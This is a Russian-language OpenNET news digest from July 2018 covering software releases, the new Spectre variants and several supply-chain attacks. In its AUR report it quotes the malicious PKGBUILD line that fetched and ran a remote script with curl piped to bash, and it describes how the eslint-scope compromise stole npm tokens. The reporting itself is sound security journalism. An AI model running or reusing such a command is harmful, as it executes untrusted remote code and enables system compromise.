The OpenNET Project / Index page

[ новости/++ | форум | wiki | теги | ]

13.07.2018 Релиз гипервизора Xen 4.11 (35 +16)
  После семи месяцев разработки состоялся релиз свободного гипервизора Xen 4.11. По сравнению с прошлым выпуском в Xen 4.11 внесено 1206 изменений. В разработке нового выпуска приняли участие такие компании, как Citrix, SUSE, ARM, AMD, Intel, Amazon, Google, Oracle, EPAM Systems, Huawei, DornerWorks и Qualcomm.

Ключевые изменения в Xen 4.11:

  • Продолжена работа по усовершенствованию ABI-интерфейса PVH, комбинирующего элементы режимов паравиртуализации (PV) для ввода/вывода, обработки прерываний, организации загрузки и взаимодействия с оборудованием, с применением полной виртуализации (HVM) для ограничения привилегированных инструкций, изоляции системных вызовов и виртуализации таблиц страниц памяти. Гостевые системы в режиме PVH содержат меньше критичного кода по сравнению с PV и HVM, а интерфейс между операционной системой и гипервизором значительно проще и менее подвержен атакам.

    В новом выпуске добавлена экспериментальная поддержка PVH Dom0, активируемая при вызове Xen c опцией "dom0=pvh". До сих пор запуск в качестве Dom0 был возможен только для гостевых систем в режиме PV. Гостевые системы в режиме HVM требуют выполнения компонентов QEMU на стороне Dom0 для эмуляции оборудования, что не позволяет использовать их как Dom0. Гостевые системы PVH не требуют для своего выполнения компонентов, помимо гипервизора, поэтому они как и гостевые системы PV могут загружаться в условиях, когда не запущено других гостевых систем, и могут выполнять функции базового окружения Dom0. Применение PVH Dom0 существенно повышает безопасность конфигураций Xen, так как по сравнению с PV позволяет исключить при работе примерно 1.5 млн строк кода QEMU. Работа PVH Dom0 пока доступна только в Linux и FreeBSD;

  • В гипервизор добавлена встроенная поддержка эмуляции конфигурации PCI, которая ранее предоставлялась через внешний обработчик из QEMU;
  • Добавлена прослойка для обеспечения запуска немодифицированных паравиртуализированных гостевых систем (PV) в окружении PVH, что позволяет обеспечить работу старых гостевых систем в более безопасных окружениях, ограниченных режимом PVH;
  • Производительность планировщиков Credit1 и Credit2 оптимизирована для работы в условиях эксклюзивной и мягкой (soft-affinity) привязки виртуальных CPU (vCPU) к физическим ядрам CPU (pCPU);
  • Добавлены новые вызовы DMOP (Device Model Operation Hypercall) для работы консоли VGA при использовании QEMU, запущенном в режиме изоляции, позволяющем защититься от атак на гипервизор в случае компрометации компонентов QEMU;
  • На системах с процессорами на базе архитектуры Skylake и новее включена поддержка расширения MBA (Memory Bandwidth Allocation), позволяющего снизить негативное влияние на систему перегруженных виртуальных машин за счёт применения системы урезания ресурсов на основе выделенного бюджета;
  • В эмулятор x86 добавлена поддержка наборов инструкций Intel AVX и AVX2, а также AMD F16C, FMA4, FMA, XOP и 3DNow;
  • В систему привязки ресурсов для гостевых систем добавлена возможность маппинга таблиц доступа к памяти (Grant table) и серверных страниц IOREQ;
  • Для систем на базе архитектуры ARM переработана поддержка VGIC и проведён рефакторинг обработчиков таблиц страниц памяти, подсистем работы с памятью и поддержки платформ big.LITTLE для упрощения сопровождения кода. Добавлена поддержка интерфейсов PSCI 1.1 (Power State Coordination Interface) и SMCCC 1.1 (Secure Monitor Call Calling Conventions);
  • Добавлены механизмы для блокирования уязвимостей в механизме спекулятивного выполнения инструкций в процессорах: для защиты от уязвиомости Meltdown добавлен механизм XPTI (эквивалент добавленной в ядро Linux техники KPTI (Kernel Page Table Isolation). Для защиты от Spectre задействованы инструции IBRS (Indirect Branch Restricted Speculation) и IBPB (Indirect Branch Prediction Barriers), а для систем без их поддержки предложена техника Retpoline. Также добавлены методы для защиты от атак Spectre 4 и Lazy FP. Для управления включением методов защиты предложена новая опция spec-ctrl;
  • В будущих выпусках ожидается стабилизация PVH Dom0, поддержка проброса PCI-устройств в гостевые системы PVH и возможность сборки PV- и HVM-версий Xen.

  1. OpenNews: Уязвимости в гипервизоре Xen
  2. OpenNews: Первый выпуск XCP-NG, свободного варианта Citrix XenServer
  3. OpenNews: Релиз гипервизора Xen 4.10
  4. OpenNews: Проект Xen представил Unikraft для выполнения приложений поверх гипервизора
  5. OpenNews: Релиз гипервизора Xen 4.9
Обсуждение (35 +16) | Тип: Программы |
13.07.2018 В популярный NPM-модуль внедрено вредоносное ПО, копирующее параметры аутентификации (52 +16)
  Администраторы репозитория NPM уведомили пользователей о компрометации пакетов eslint-scope и eslint-config-eslint, в которых поставлялся популярный анализатор JavaScript-кода, насчитывающий более 2 млн загрузок в неделю и 59 млн суммарных загрузок. В результате получения контроля за учётными данными мэйнтейнера eslint-scope злоумышленникам удалось опубликовать обновление, содержащее троянский код.

При выполнении операции установки пакета, с сайта pastebin.com загружался и запускался скрипт, который отправлял на внешний сервер содержимое файла ~/.npmrc, включающего токен для аутентификации в NPM. Данные отправлялись на серверы учёта статистики посещений "sstatic1.histats.com" и "c.statcounter.com" в составе параметра, указанного в HTTP-заголовке "Referer" (злоумышленники могли просмотреть захваченные токены через web-интерфейсы счётчиков посещений histats.com и statcounter.com).

Взлом учётной записи разработчика был произведён из-за использования одного и того же пароля на разных сайтах, на одном из которых произошла утечка базы пользователей. Сопоставив email разработчика злоумышленники смогли воспользоваться паролем для получения доступа к NPM. Троянская вставка присутствовала в версиях eslint-scope 3.7.2 и eslint-config-eslint 5.0.2.

По предварительным сведениям с момента публикации до блокировки вредоносного обновления (c 12:49 до 17:37 MSK 12 июля) злоумышленникам удалось получить токены для доступа к учётным записям примерно 4500 разработчиков. К счастью атака была оперативно пресечена и администрация NPM заблокировала все токены аутентификации, выданные до 17:30 (MSK) 12 июля. Пользователям NPM необходимо обновить свои токены повторно выполнив процедуру аутентификации на сайте npmjs.com. Для усиления защиты своих учётных записей разработчикам модулей рекомендовано включить двухфакторную аутентификацию. В промежуток времени с момента публикации вредоносного обновления до начала блокировки токенов достоверно подтверждённых попыток использования перехваченных токенов не зафиксировано.

Предполагается, что компрометация пакета eslint-scope, как правило используемого для отладки других NPM-пакетов разработчиками, была первым этапом внедрения червя, который мог использовать захваченные токены для внедрения вредоносного кода в новые модули. С учётом разветвлённой системы зависимостей в случае успеха атака могла иметь катастрофические последствия. Например, среди пользователей eslint-scope разработчики таких популярных проектов, как Yarn (48% всех загрузок в NPM), Babel (150 млн загрузок), jQuery (65 млн загрузок), CoffeeScript (50 млн загрузок). Данные пакеты используются как зависимости в тысячах других пакетов и проектов.

По счастливому стечению обстоятельств во вредоносном коде была допущена ошибка, которая приводила к сбою установки, если при определённых условиях поток для получения ответа на запрос к pastebin.com закрывался до окончания выполнения вызова eval(). Данная особенность сразу привлекла внимание пользователей пакета, которые начали разбирать код и менее чем через час после публикации вредоносного обновления отправили уведомление разработчикам.

  1. OpenNews: Применение тайпсквоттинга для распространения вредоносных модулей NPM, PyPI и Gems
  2. OpenNews: Выявлена попытка включения бэкдора в популярный NPM-пакет mailparser
  3. OpenNews: Незащищённость NPM к атакам по внедрению вредоносных модулей-червей
  4. OpenNews: Сбой антиспам-системы привёл к коллапсу в репозитории NPM
  5. OpenNews: Более половины npm-пакетов могли быть скомпрометированы из-за ненадёжных паролей доступа
Обсуждение (52 +16) | Тип: Проблемы безопасности |
12.07.2018 Релиз iptables 1.8.0 (31 +15)
  Спустя два с половиной года с момента формирования прошлой стабильной ветки 1.6.x представлен iptables 1.8.0, новый значительный релиз инструментария для управления пакетным фильтром Linux.

Основные изменения:

  • Обеспечено явное разделение классического фронтэнда iptables и нового фронтэнда, построенного поверх инфраструктуры пакетного фильтра nftables и позволяющего мигрировать на технологии nftables, продолжив использовать привычные инструменты и синтаксис iptables. Классический фронтэнд теперь поставляется с явным указанием в имени исполняемых файлов слова "-legacy", например iptables-legacy и iptables-legacy-save, а файлы фронтэнда на базе nftables вместо "-compat" теперь заканчиваются на "-nft", например, iptables-nft. При запуске iptables с командой '--version' выдаётся информация о типе фронтэнда (например "iptables v1.8 (legacy)" или "iptables v1.8 (nf_tables)");
  • Дистрибутивам рекомендуется устанавливать по умолчанию классический фронтэнд для стабильных выпусков, а в экспериментальных версиях предлагать команды на базе nftables в качестве альтернативы c созданием симлинков iptables, ip6tables, iptables-restore и т.п., указывающих на xtables-nft-multi. В качестве плюсов применения варианта на базе nftables отмечается отсутствие необходимости применения опции "--wait" для решения проблем с одновременным запуском, поддержка мониторинга набора правил при помощи сторонних фоновых процессов, предоставление возможностей для отладки правил (xtables-monitor --trace в сочетании с iptables-действием TRACE) и возможность добавления/удаления правил не меняя внутреннее состояние таких критериев как ограничения и квоты;
  • Применяемый для IPv6 критерий (match) 'srh' теперь может применяться для сопоставления с прошлым, следующим и последним идентификатором сеанса (SID);
  • В действии (target) CONNMARK обеспечена поддержка операций битового сдвига для критериев restore-mark, set-mark и save-mark;
  • В DNAT теперь допустимо использовать сдвинутые диапазоны portmap (входящие обращения к портам (например, 5000-5100) теперь можно перенаправить в иной диапазон портов (2000-2100), в то время как раньше поддерживалось перенаправление только совпадающих диапазонов портов или нужно было перечислять по одному порту в правиле);
  • В бэкенд nf_tables добавлены новые команды:
    • xtables-monitor - отображает изменения в наборе правил и информацию о трассировке пакетов для отладки правил.
    • ebtables - функциональность для замены утилиты ebtables;
    • arptables - функциональность для замены утилиты arptables;
  • Добавлено семейство утилит 'translate' (ip6tables-translate, ip6tables-restore-translate, iptables-restore-translate, iptables-translate) для преобразования синтаксиса iptables в родные наборы правил nftables, воспринимаемые утилитой nft.

  1. OpenNews: Разработчики Netfilter официально объявили инструментарий iptables устаревшим
  2. OpenNews: Релиз iptables 1.6.0
  3. OpenNews: Выпуск пакетного фильтра nftables 0.4, идущего на смену iptables
  4. OpenNews: В рамках проекта OpenSnitch развивается динамический межсетевой экран для Linux
  5. OpenNews: В состав ядра 4.18 одобрено включение нового пакетного фильтра bpfilter
Обсуждение (31 +15) | Тип: Программы |
12.07.2018 Гвидо ван Россум решил отстраниться от руководства проектом Python (252 +22)
  Гвидо ван Россум (Guido van Rossum) сообщил о намерении покинуть пост великодушного пожизненного диктатора (BDFL) проекта Python и полностью отстраниться от участия в процессах принятия решений. Основной причиной ухода является нежелание больше тратить своё время на баталии при принятии PEP-спецификаций (в январе Гвидо исполнилось 62 года и он устал от сложившегося темпа работы).

Гвидо продолжит участие в проекте, но на позиции обычного core-разработчика и наставника. Он также не намерен назначать преемника на пост BDFL и поэтому предложил другим разработчикам обсудить возможность перехода на новую модель управления. До реструктуризации модели управления пост BDFL сохраняется, но формально Гвидо теперь находится в бессрочном отпуске, а управление будет сосредоточено в руках сообщества, которое должно будет выбрать новую модель управления.

Решение Гвидо не скажется на ежедневной работе в системе отслеживания ошибок и активности на GitHub, так как он мало пересекался с этой деятельностью. Основными вопросами, которые предстоит решить сообществу, станет выработка новых процессов для принятия PEP-спецификаций, включения участников в группу core-разработчиков с правом коммита, а также воздействия на нарушителей кодекса поведения проекта (Code of Conduct).

  1. OpenNews: Музей компьютерной истории наградил Гвидо ван Россума
  2. OpenNews: Разработка Python переведена на GitHub
  3. OpenNews: Поддержка Python 2.7 продлена до 2020 года
  4. OpenNews: Гвидо ван Россум предложил на несколько лет заморозить возможности языка Python
  5. OpenNews: Увидел свет язык программирования Python 3.7
Обсуждение (252 +22) | Тип: Тема для размышления |
12.07.2018 Два новых варианта уязвимости Spectre. Усиление защиты Chrome (79 +25)
  Раскрыты сведения о двух новых уязвимостях в механизме спекулятивного выполнения инструкций в процессорах. Уязвимости основываются на тех же принципах, что и метод атаки Spectre 1, поэтому им присвоены кодовые имена Spectre 1.1 (CVE-2018-3693) и Spectre 1.2 (CVE пока не назначен). Наличие проблем подтверждено в процессорах Intel и ARM, подверженность уязвимостям процессоров AMD пока находится под вопросом. В рамках программы по выплате вознаграждений за выявление уязвимостей компания Intel выплатила исследователям 100 тысяч долларов.

Уязвимость Spectre 1.1 продолжает развитие идей по восстановлению данных, оставшихся в процессорном кэше в результате спекулятивного выполнения инструкций. Новый метод позволяет атакующему получить информацию о содержимом памяти через инициирование выполнения спекулятивных операций, приводящих к переполнению буфера (ключевое отличие от Spectre 1 в том, что для атаки используются спекулятивные операции записи, а не чтения). Несмотря на то, что подобные операции выполняются в ходе спекулятивного выполнения и отбрасываются после определения пересечения границ буфера, их результат оседает в кэше и может быть восстановлен при помощи методов определения содержимого кэша по сторонним каналам, анализирующих изменение времени доступа к прокэшированным и не прокэшированным данным.

Проблеме присвоен достаточно низкий уровень опасности (5.9 из 10) так как для организации непривилегированным пользователем атаки для чтения данных из привилегированных областей памяти требуется наличие в привилегированном коде определенной последовательности команд в сочетании с тем, что запись в память должна производиться по адресу, зависящему от внешнего значения, подконтрольного атакующему (например, должны присутствовать конструкции вида "if (y < lenc){ c[y] = z;}", где "y" контролируется атакующим, а "z" известен атакующему). Более реалистичным является сценарий применения уязвимости для совершения атаки в рамках одного уровня привилегий, например для получения доступа к памяти с данными других вкладок в браузерах и для обхода внутренней изоляции в JVM и системах с JIT.

Принцип работы уязвимости Spectre 1.2 в основных чертах аналогичен Spectre 1.1, но основывается на инициировании спекулятивных операций записи в области памяти, которые защищены флагом, допускающим только чтение. В качестве практического применения Spectre 1.2 называется определение значений указателей и метаданных с целью организации обхода ограничений sandbox-окружений.

Несмотря на общую схожесть методов с уже устранёнными уязвимостями Spectre 1 и 4, разработанные методы противостояния на уровне компиляторов в текущем виде неэффективны для Spectre 1.1 и 1.2 и требуют модернизации. С другой стороны, техника защиты может быть реализована сходным со Spectre 1 способом и базироваться на добавлении в процессе компиляции приложений инструкции LFENCE, уже поставляемой в ранее выпущенном обновлении микрокода Intel. Кроме того уже имеющиеся в компиляторах режимы противодействия переполнению буфера могут оказаться эффективны для защиты от Spectre 1.1. Исследователями также предложено несколько вариантов устранения уязвимостей полностью на аппаратном уровне.

Тем временем, опубликован модифицированный метод эксплуатации уязвимости Spectre 1 в web-бразуерах (прототип эксплоита), позволяющий обойти добавленные ранее в браузеры меры противодействия уязвимостям Spectre. При открытии специально оформленной страницы с JavaScript-кодом, в JIT может быть сформирован необходимый для проявления уязвимости Spectre набор инструкций, позволяющий атакующему прочитать содержимое всего адресного пространства текущего процесса, в котором могут храниться конфиденциальные сведения, связанные с другими вкладками или сохранёнными ключами и паролями.

Показано, что подобные атаки могут быть успешно проведены даже в условиях применения ранее добавленных ограничений точности таймера и блокирования SharedArrayBuffer, которые лишь замедляют атаку, но полностью не исключают её проведение. Предложенный обходной метод атаки оказался работоспособен в Chrome/Chromium, Edge, Safari и прочих браузерах на базе WebKit и Blink (скорость проведения атаки составила примерно 1 бит в секунду), но не сработал в Firefox благодаря существенному снижению точности performance.now(). В качестве эффективных мер защиты называется полная изоляция сайтов в отдельных процессах и применение масок при индексировании массивов в JavaScript (например, применение для каждого индекса элемента операции AND с маской, зависящей от размера массива).

Для повышения эффективности защиты от Spectre компания Google объявила о включении для 99% пользователей Chrome 67 режима строгой изоляции сайтов, при котором страницы разных сайтов всегда размещаются в памяти разных процессов, в каждом из которых применяется свой sandbox. Сообщается, что указанная техника приведёт к увеличению общего потребления памяти браузером на 10-13% из-за увеличения числа работающих процессов. В дальнейшем в Chrome планируется вернуть прежнюю точность таймера и возобновить поддержку SharedArrayBuffer, так как для защиты от Spectre теперь достаточно режима строгой изоляции.

Главным отличием режима строгой изоляции от ранее применяемой многопроцессной модели является то, что теперь разделение осуществляется не по вкладкам, а по доменам, т.е. если раньше содержимое загруженных с других доменов скриптов, iframe и popup-ов выполнялось в одном процессе с базовым сайтом, то теперь они будут разделены по разным процессам.

  1. OpenNews: LazyFP - новая уязвимость в процессорах Intel
  2. OpenNews: Раскрыты две новые уязвимости механизма спекулятивного выполнения в CPU
  3. OpenNews: Представлена Spectre-NG, группа из 8 новых уязвимостей в процессорах
  4. OpenNews: BranchScope - новая атака на механизм спекулятивного выполнения косвенных переходов в CPU
  5. OpenNews: В OpenBSD добавлен код программного отключения SMT (HyperThreading)
Обсуждение (79 +25) | Тип: Проблемы безопасности |
11.07.2018 Дэниэл Бернштейн опубликовал новую библиотеку djbsort (286 +38)
  Дэниэл Бернштейн (Daniel J. Bernstein), известный эксперт в области криптографии и создания защищённого ПО, разработавший такие проекты, как qmail, djbdns, NaCl, Ed25519, Curve25519 и ChaCha20-Poly1305, опубликовал новую библиотеку djbsort с реализацией высокопроизводительного алгоритма сортировки массивов целых чисел.

Библиотека демонстрирует рекордные показатели в скорости сортировки в памяти, заметно опережая по производительности существующие аналоги. Например, djbsort при сортировке 1024 32-разрядных знаковых целых чисел расходует 2.5 цикла CPU на байт данных, независимо от содержимого массива, в то время как библиотека Intel IPP (Integrated Performance Primitives) с оптимизациями на базе инструкций AVX расходует около 32 циклов на байт.

Кроме того, библиотека djbsort изначально написана с оглядкой на безопасность и использование в криптографических системах, в том числе может применяться в основанных на применении сортировки реализациях алгоритмов шифрования, стойких к подбору на квантовом компьютере. В частности, djbsort обеспечивает постоянное время сортировки независимо от обрабатываемого содержимого массива, что позволяет исключить применение методов анализа содержимого по сторонним каналам, учитывающих разницу во времени обработки для определения характера данных. В djbsort используются только простые арифметические инструкции без применения условного ветвления.

Третьим достоинством djbsort является предоставление инструментов, позволяющих верифицировать корректность выполненной сортировки для всех возможных вариантов массивов заданного размера. Инструментарий для верификации включает три утилиты: unroller для раскрутки программы сортировки для массивов заданного размера; minmax для преобразования раскрученной программы в набор операторов "min" и "max"; decompose для подтверждения корректности программы min-max.

Ограничения текущей реализации djbsort:

  • Наличие оптимизаций только для CPU с поддержкой инструкций AVX2 ( оптимизации могут быть легко портированы для других CPU);
  • Поддержка только сортировки знаковых 32-разрядных целых чисел (реализация может быть адаптирована для сортировки 16 и 64-разрядных целых, а также для чисел с плавающей запятой, любых записей фиксированного размера и указателей на записи переменного размера с отсортированными ключами);
  • Размер сортируемого массива ограничивается имеющимся размером памяти - размер массива должен вмещаться в ОЗУ, но при желании библиотека может быть адаптирована для сортировки данных на диске с оптимизациями для минимизации обращений к диску;
  • При сортировке используется только одно ядро CPU (алгоритм может быть изменён для параллельной обработки на разных ядрах или для распределённой сортировки на нескольких компьютерах);
  • При верификации не выполняется проверка целостности данных в памяти;
  • Процесс верификации запускается отдельно для массивов разного размера, а скорость верификации уменьшается при увеличении размера массива. Данное ограничение не особо значимо, так как верификация важна для применения в криптографии, а для криптографии используются только специфичные размеры массивов.

  1. OpenNews: Доступен проект Phuctor, коллайдер RSA-ключей
  2. OpenNews: Дэниэл Бернштейн выступил с инициативой создания Си-компилятора для защищённого ПО
  3. OpenNews: Дэниел Бернштейн выступил с критикой позиции ФБР о шифровании смартфонов и сетей
  4. OpenNews: Создатель qmail, спустя 10 лет, оценивает безопасность проекта
  5. OpenNews: Уязвимости в djbdns и crypto модуле ядра Solaris. D. J. Bernstein выплатил $1000
Обсуждение (286 +38) | Тип: Программы |
11.07.2018 В AUR-репозитории Arch Linux найдено вредоносное ПО (128 +25)
  В AUR-репозитории Arch Linux, в котором размещаются не входящие в дистрибутив пакеты от сторонних разработчиков, найдены три пакета, содержащие вредоносные вставки. Проблема выявлена в пакетах acroread 9.5.5-8 (Adobe PDF Reader), balz 1.20-3 (утилита для сжатия файлов) и minergate 8.1-2 (GUI для майнинга криптовалют). В данные пакеты был добавлен код для загрузки и запуска скрипта с внешнего сервера, активируемый во время установки пакетов.

7 июля в пакеты были внесены изменения, в результате которых в файл PKGBUILD был добавлен код "curl -s https://ptpb.pw/~x|bash -&" вызываемый в секции установки пакета. Указанный скрипт выполнял загрузку другого скрипта "https://ptpb.pw/~u", устанавливал его как /usr/lib/xeactor/u.sh и активировал через периодический вызов по таймеру (создавался файл /usr/lib/systemd/system/xeactor.timer). В скрипте u.sh присутствовал код для отправки сведений о системе и установленных пакетах через сервис pastebin.com, а также для создания файла compromised.txt в домашних директориях всех пользователей.

Несмотря на то, что вредоносный код ограничивался отправкой сведений о системе, ничто не мешает злоумышленникам в любой момент заменить содержимое u.sh. Например, на первом этапе злоумышленниками мог проводиться анализ наиболее популярных системных окружений с целью подбора оптимального для большинства поражённых систем кода для майнинга криптовалют или требующего выкуп вредоносного шифровальщика.

Изменения были внесены пользователем xeactor в пакеты, имеющие статус orphaned, т.е. оставшиеся без мэйнтейнера. AUR позволяет любому желающему продолжать разработку orphane-пакетов, чем и воспользовался злоумышленник. Разработчики дистрибутива много раз предупреждали пользователей, что к пакетам из AUR (также справедливо для PPA и прочих репозиториев, в которых сторонние пользователи могут размещать свои пакеты) следует относиться с осторожностью и по возможности проверять содержимое файла PKGBUILD.

Проблема была выявлена в течение нескольких часов после модификации пакетов. Изменение было сразу отклонено, а учётная запись разработчика xeactor заблокирована. Пользователям, 7 июля устанавливавшим обновления вышеотмеченных пакетов, рекомендуется проверить свои системы на предмет возможной компрометации (например, о наличии вредоносного ПО в системе может сигнализировать файл /usr/lib/systemd/system/xeactor.timer).

  1. OpenNews: Из каталога Docker Hub удалено 17 образов контейнеров с вредоносным кодом
  2. OpenNews: Компания Canonical опубликовала заявление, связанное с вредоносным ПО в Snap Store
  3. OpenNews: В четырёх популярных дополнениях к Chrome выявлен вредоносный код
  4. OpenNews: В каталоге Python-пакетов PyPI выявлено 10 вредоносных библиотек
  5. OpenNews: Атака на Kodi, VLC и Popcorn-Time через вредоносные субтитры
Обсуждение (128 +25) | Тип: Проблемы безопасности |
10.07.2018 Зафиксирована подмена Chrome-дополнения Hola VPN, имеющего 8.7 млн пользователей (64 +14)
  Компания Hola VPN сообщила о компрометации учётной записи одного из разработчиков проекта, в результате чего злоумышленники смогли подменить официальное дополнение Hola VPN к браузеру Chrome. Дополнение насчитывает около 8.7 млн пользователей.

После получения параметров аутентификации разработчика в сервисах Google злоумышленники опубликовали модифицированную версию дополнения, в которой был встроен скрытый проброс на поддельную фишинг-страницу, срабатывающий при открытии сайта MyEtherWallet.com с реализацией web-кошелька для криптовалюты Ethereum. В настоящее время контроль над учётной записью возвращён и в каталоге Chrome Web Store размещено корректное дополнение. Информации о методе получения контроля за учётной записью разработчика Hola VPN пока не раскрывается.

Всем пользователям MyEtherWallet, которые вчера обновляли или устанавливали Chrome-дополнение Hola VPN рекомендуется срочно завести новую учётную запись и перевести на неё имеющиеся в электронном кошельке средства. Это вторая действенная атака против MyEtherWallet за последние месяцы - в апреле злоумышленникам удалось через манипуляции с BGP перенаправить трафик DNS-сервиса Amazon Route 53 на свой хост и на несколько часов подменить сайт MyEtherWallet.com.

  1. OpenNews: В браузерном дополнении Stylish выявлен код для отправки истории посещений
  2. OpenNews: В Chrome будет прекращена поддержка установки дополнений по запросу сторонних сайтов
  3. OpenNews: В результате фишинга получен контроль ещё над 6 дополнениями к Chrome
  4. OpenNews: Злоумышленники получили контроль над Chrome-дополнением с миллионной аудиторией
  5. OpenNews: Chrome-дополнение Particle было выкуплено у автора и превращено во вредоносное ПО
Обсуждение (64 +14) | Тип: Проблемы безопасности |
10.07.2018 В рамках проекта Browsh развивается консольный браузер на базе Firefox (76 +40)
  Представлен новый консольный браузер Browsh, примечательный полноценной поддержкой web-технологий и возможностью отображения изображений, видео и WebGL-контента в форме ASCII-анимации. Для обработки контента применяется движок Firefox. Код Browsh написан на языках Go и JavaScript, и распространяется под лицензией GPLv3. Готовые сборки подготовлены для Linux, FreeBSD, macOS и Windows (для работы дополнительно должен быть установлен Firefox новее выпуска 56).

В качестве основной области применения Browsh называется работа в условиях экономии трафика или при низкой пропускной способности. Например, при наличии канала связи порядка 3kbps (при подключении через телефон с GPRS) можно соединиться по SSH с сервером и запустить на нём Browsh. В отличие от таких консольных браузеров, как elinks и lynx, в Browsh имеется полноценная поддержка JavaScript и HTML5. Для обработки web-контента используется браузер Firefox, запускаемый в режиме без вывода на экран ("-headless").

В запускаемый в режиме headless экземпляр Firefox устанавливается специальное дополнение, которое принимает от консольной утилиты запросы, обрабатывает их и выполняет трансляцию вывода в текстовое представление с ASCII-графикой. Консольная утилита выполняет роль прослойки для организации взаимодействия пользователя, основная логика реализована на стороне браузерного дополнения.

Browsh можно запускать через терминал или использовать в виде web-сервиса, предоставляющего упрощённый вариант страниц для просмотра в web-браузере пользователя. Например, открытие в Browsh сайта, который при обычных условиях требует загрузки 3MB данных и отправляет более 100 HTTP-запросов, потребует загрузки всего 15 KB данных и отправки двух HTTP-запросов (один для содержимого и один для favicon). Режим работы в виде web-сервиса встроен в Browsh и активируется при указании опции "-http-server" (по умолчанию запросы принимаются на 4333 сетевом порту).

Для сокращения требуемой для просмотра в терминале пропускной способности дополнительно может применяться MoSH, кэширующий состояние экрана на стороне клиента и передающий только информацию об изменившихся данных. Browsh также может использоваться для организации доступа в web со слишком маломощных систем, у которых недостаточно ресурсов для запуска полноценного браузера и имеется только возможность обращения к удалённому терминалу, или при нежелании нагружать CPU запуском браузера в условиях жесткой экономии заряда аккумулятора.

  1. OpenNews: Релиз консольного web-браузера Lynx 2.8.8
  2. OpenNews: Доступен web-браузер qutebrowser 1.2.0
  3. OpenNews: NCSA Mosaic портирован для современных Linux дистрибутивов
  4. OpenNews: Релиз минималистичного web-браузера Dillo 3.0
  5. OpenNews: Релиз минималистичного web-браузера links 2.6
Обсуждение (76 +40) | Тип: Программы |
10.07.2018 Airbus и IBM подготовили интеллектуальный помощник для МКС, работающий под управлением Ubuntu (79 +25)
  Компания Airbus при участии IBM разработала для Международной космической станции автономный летающий интеллектуальный помощник CIMON (Crew Interactive Mobile CompanioN), который будет помогать космонавтам в процессе их работы. Устройство оснащено системой искусственного интеллекта на основе наработок проекта IBM Watson, способной понимать вопросы на естественном языке и генерировать ответы. В качестве операционной системы применяется Ubuntu Linux. CIMON был отправлен на МКС 6 июня в рамках миссии "Горизонты".

CIMON может оценивать окружающую обстановку, воспринимать команды и поддерживать диалог на естественном языке. В БД CIMON заложены сведения о проводимых на станции экспериментах, разнообразная справочная информация и инструкции по действию в нештатных ситуациях. CIMON также может выполнять такие рутинные действия как ведение дневника проведения эксперимента и поиск объектов на станции (устройство оснащено 12 пропеллерами и может свободно перемещаться по станции, следовать за космонавтом и менять положение экрана для соответствия положению головы космонавта).

В CIMON также заложены функции для снижения стресса в команде и он может применяться, например, для воспроизведения музыки, показа видео или установки канала связи по просьбе космонавтов. Аутентификация пользователей осуществляется через распознавание лица. Устройство выполнено в виде шара весом 5 кг и оснащено 8-дюймовым сенсорным экраном. На экране может выводиться анимация с симуляцией человеческого лица, а также доступен штатный рабочий стол GNOME. Время автономной работы составляет 2 часа.



  1. OpenNews: Космическое агентство NASA переводит используемые на МКС ноутбуки на Linux
  2. OpenNews: NASA планирует использовать Nagios и PostgreSQL для мониторинга компьютеров МКС
  3. OpenNews: Представлен Sirius, открытый персональный ассистент, напоминающий Apple Siri и Google Now
  4. OpenNews: Проект Mozilla выпустил открытую систему распознавания речи
  5. OpenNews: Выпуск Dragonfire 1.0, виртуального голосового помощника для Linux
Обсуждение (79 +25) | Тип: К сведению |
10.07.2018 Компания Canonical представила сборку Minimal Ubuntu (87 +29)
  Компания Canonical опубликовала новую минималистичную редакцию дистрибутива Minimal Ubuntu, оптимизированную для использование в облачных системах и изолированных контейнерах на базе платформы Docker. При разработке основное внимание уделялось высокой стабильности, максимальной производительности, минимальному времени загрузки и автоматизации применения в облачных системах.

Отмечается, что предложенная сборка требует на 50% меньше дискового пространства и загружается примерно на 40% быстрее сборки стандартной серверной редакции Ubuntu, но при этом остаётся полностью совместимой со всеми пакетами из репозиториев Ubuntu. Необходимые пакеты можно установить при помощи штатного пакетного менеджера apt или при помощи snapd, которые входят в штатную поставку.

Дистрибутив рассчитан на автоматизированное сопровождение, выполняемое без участия пользователя, поэтому в состав включён только минимальный набор пакетов. По сравнению с Ubuntu Server из базовой поставки удалены редакторы, документация, локали и другие инструменты, востребованные при интерактивных сеансах (ssh оставлен). Для доведения урезанного дистрибутива до набора пакетов Ubuntu Server предложена специальная утилита "unminimize".

Размер сборки составляет 157 Мб. Предложены две сборки, созданные на основе пакетных баз Ubuntu 16.04 LTS и 18.04 LTS. Обеспечена поддержка использования Minimal Ubuntu в окружениях Amazon EC2, Google Compute Engine (GCE), LXD и KVM/OpenStack. Для каждой облачной платформы подготовлен свой оптимизированный вариант пакета с ядром Linux (по умолчанию предлагается ядро, оптимизированное для KVM) и включены необходимые для загрузки и настройки утилиты.

На базе Minimal Ubuntu также подготовлен специализированный образ для организации выполнения контейнеров Docker, совместимый с инфраструктурами на базе системы оркестровки контейнеров Kubernetes. Сборка для Docker занимает всего 29 Мб и предложена в каталоге Docker Hub в качестве стандартного образа Ubuntu 18.04 LTS. Сборки Minimal Ubuntu также размещены в каталогах AWS и Google Cloud ("gcloud compute images list --project ubuntu-os-cloud").

  1. OpenNews: В Ubuntu Core обеспечена официальная поддержка портативного варианта Raspberry Pi 3
  2. OpenNews: Выпуск Ubuntu Core 16
  3. OpenNews: Планы по развитию рабочего стола в Ubuntu 18.10
  4. OpenNews: Опубликован отчёт на основе телеметрии, переданной пользователями Ubuntu 18.04
  5. OpenNews: Объявлено о создании редакции Fedora для интернета вещей
Обсуждение (87 +29) | Тип: Программы |
09.07.2018 Концепт камеры для печати фотографии в виде комиксов (43 +13)
  Дэн Мэкниш (Dan Macnish), инженер и дизайнер, представил проект Draw This, в рамках которого из подручных деталей подготовлена фотокамера, напоминающая полароид, но печатающая фотографии в виде комиксов с интерпретацией окружающей действительности. Например, сфотографировав двух людей на выходе будет распечатано два мультяшных персонажа. Проект демонстрирует переход современных средств машинного обучения из категории разработок, развиваемых узким кругом исследователей, в форму широкодоступных инструментов, позволяющих любым желающим воплощать свои идеи и создавать готовые прототипы устройств.

Программная начинка проекта написана на языке Python и распространяется под лицензией MIT. Аппаратная часть включает плату Raspberry Pi 3 с модулем камеры и типовой термопринтер для печати чеков, а также светодиод, кнопку, резистр на 220 Ом и картонную коробку в качестве корпуса.

